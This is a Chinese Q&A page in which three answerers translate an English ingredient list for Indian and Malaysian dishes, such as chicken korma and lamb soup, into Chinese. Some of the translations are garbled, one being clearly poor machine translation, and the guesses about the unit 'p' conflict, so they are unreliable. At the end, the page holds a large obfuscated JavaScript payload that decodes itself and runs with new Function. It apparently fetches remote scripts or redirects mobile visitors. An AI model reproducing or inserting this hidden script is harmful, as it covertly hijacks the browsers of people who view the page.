谁能看懂这些东东,帮我翻译一下好吗?

2025-03-12 23:44:35
推荐回答(3个)
回答(1):

上面是机器翻译的不支持:
Murgh korma(大众咖喱鸡肉)
去骨鸡腿1千克
洋葱片2p
蒜茉6p
姜1p
黄油100克
肉桂1p
月桂叶2p
丁香1p
小茴香粉末1茶匙
香菜粉末1茶匙
酸奶1杯
肉豆蔻1/5茶匙
奶油2汤匙

2.香烧番茄
切环鱿鱼5千克
食油300毫升
洋葱(捣烂)200克
虾酱50克
干辣椒200克
番茄酱400克
糖200克
洋葱圈300克
番茄(切成楔子形)500克

3.帕西咖喱鸡
食油3汤匙
葱2p
青椒1p
蒜末1/2茶匙
姜末1/2茶匙
黄姜粉1汤匙
辣椒粉1/2汤匙
小茴香粉 1/4汤匙
肉桂粉 1/4汤匙
白胡椒粉1/4汤匙
蕃茄(切好)3p
去骨鸡腿 500克
杏仁干 6p
适量奶油和糖。

3. Sugar Sup kambing (羔羊汤)
羔羊肉丁2千克
大蒜20克
葱200克
茴香100克
香菜100克
兴茴香1p
黑胡椒10克
小茴香子100克
丁香1p
原味酸乳200克
土豆块300克
菠菜300克

4. 海得拉巴比基菜羊肉饭(羊肉拌饭)

羊肉丁500克
黄油2茶匙
小茴香子1茶匙
丁香5克
肉桂2p
青椒3p
月桂叶2p
葱1p

这里的p可能代表品脱,但是更应该是一勺。
希望正确。

回答(2):

Murgh korma (味淡的鸡咖喱) 鸡腿无骨的1kg
葱切好的2p
大蒜切好的6p
姜1p
黄油100g
桂香1p
海湾事假2p
丁香1p
小茴香粉末1tsp
香菜粉末1tsp
酸奶1.cup
肉豆蔻1/5tsp
奶油2tbsp
Sambal sotong
蕃茄
乌贼切开了成圆环5kg
油300ml 被混和的葱200g 虾酱50g 干辣椒200g 西红柿酱400g 糖200g 洋葱圈300g 蕃茄楔子500g Salli murgh (parsi 鸡咖喱) 油3tbsp 葱被切的2p 绿色辣椒1p 大蒜剁碎的1/2tsp 姜剁碎的1/2tsp 姜黄粉末1tbs 辣椒粉1/2tbs 小茴香粉末1/4tsb 桂香粉末1/4tsb 白胡椒粉末1/4tsb 蕃茄切好的3p 鸡腿无骨的500g 杏子干6p Cream?Sugar Sup kambing (羊羔汤) 羊羔切成小方块的2kg 大蒜被切的20g 青葱切了200g 茴香切了100g 香菜100g 星茴香1P 黑胡椒10g 小茴香种子100g 肉桂条1p 丁香1p 简单的酸奶200g 土豆立方体300g 菠菜300g Hyderabadi kacchi biryani (加香料的羊肉用米) 羊羔切成小方块的500g 黄油2tbsp 小茴香种子1tbsp 丁香5 肉桂条2P 绿色辣椒3p 海湾事假2p 葱1p

回答(3):

Murgh korma ( mild chicken curry ) 微辣鸡肉咖喱
括号外面的不是英语。

Chicken leg boneless 1kg 无骨鸡腿肉1公斤

Onion chopped 2p 碎洋葱2p(p是个什么单位?)

Garlic chopped 6p 蒜泥6p

Ginger 1p 姜1p

Butter 100g 黄油100克

Cinnamon 1p 肉桂1p

Bay leave 2p 这个投降,bay是什么植物吗?

Cloves 1p 丁香1p

Cumin powder 1tsp 孜然粉1tsp

Coriander powder 1tsp 胡荽粉1tsp

Yogurt 1cup 酸奶1杯

Nutmeg 1/5tsp 肉豆蔻五分之一tsp

Cream 2tbsp 乳酪2tbsp

Sambal sotong tomato 咖喱西红柿?

squid cut into ring 5kg 切成环的鱿鱼5公斤

oil 300ml 食用油300毫升

blended onion 200g 混合洋葱200克(混合洋葱?)

shrimp paste 50g 虾糊50克

dried chili 200g 干红辣椒200克

tomato sauce 400g 番茄沙司(番茄酱)400克

sugar 200g 糖200克

onion ring 300g 洋葱圈300克

tomato wedge 500g 西红柿……楔?500克(不知道楔是什么意思)

Salli murgh ( parsi chicken curry ) 印度拜火教徒的鸡肉咖喱

Oil 3tbsp 食用油3tbsp

Onion sliced 2p 洋葱片2p

Green chili 1p 青椒1p

Garlic minced 1/2tsp 蒜泥二分之一tsp

Ginger minced 1/2tsp 姜末二分之一tsp

Turmeric powder 1tbs 姜黄粉1tbs

Chili powder 1/2tbs 红辣椒粉二分之一tbs

Cumin powder 1/4tsb 孜然粉四分之一tsb

Cinnamon powder 1/4tsb 肉桂粉四分之一tsb

White pepper powder 1/4tsb 白胡椒粉四分之一tsb

Tomato chopped 3p 碎西红柿3p

Chicken leg boneless 500g 无骨鸡腿肉500克

Apricot dried 6p 杏仁6p

Cream,Sugar 乳酪,糖

Sup kambing ( lamb soup ) 羊肉汤

lamb diced 2kg 切块羊肉2公斤

garlic sliced 20g 蒜片20克

shallots sliced 200g 葱花200克

fennel sliced 100g 茴香片100克

coriander 100g 胡荽100克

star anise 1P 星状茴芹1p(这又是什么……)

black pepper 10g 黑胡椒10克

cumin seeds 100g 孜然种子100克

cinnamon stick 1p 肉桂棒1p

cloves 1p 丁香1p

plain yogurt 200g 原味酸奶200克

potatoes cube 300g 土豆块300克

spinach 300g 菠菜300克

Hyderabadi kacchi biryani ( spiced mutton with rice )
五香羊肉米饭

Lamb diced 500g 羊肉块500克

Butter 2tbsp 黄油2tbsp

Cumin seeds 1tbsp 孜然种子1tbsp

Clove 5 丁香5(单位?)

Cinnamon stick 2P 肉桂棒2p

Green chili 3p 青椒3p

Bay leave 2p 还是不知道,某植物叶子吧

Onion 1p 洋葱1p

尽我所能了,希望对你有用。

另外,翻译完我觉得饿……

我不是机器翻译的,这个要正名……
p不应该是汤匙吧,汤匙好歹也该是sp啊,品脱比较可信。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();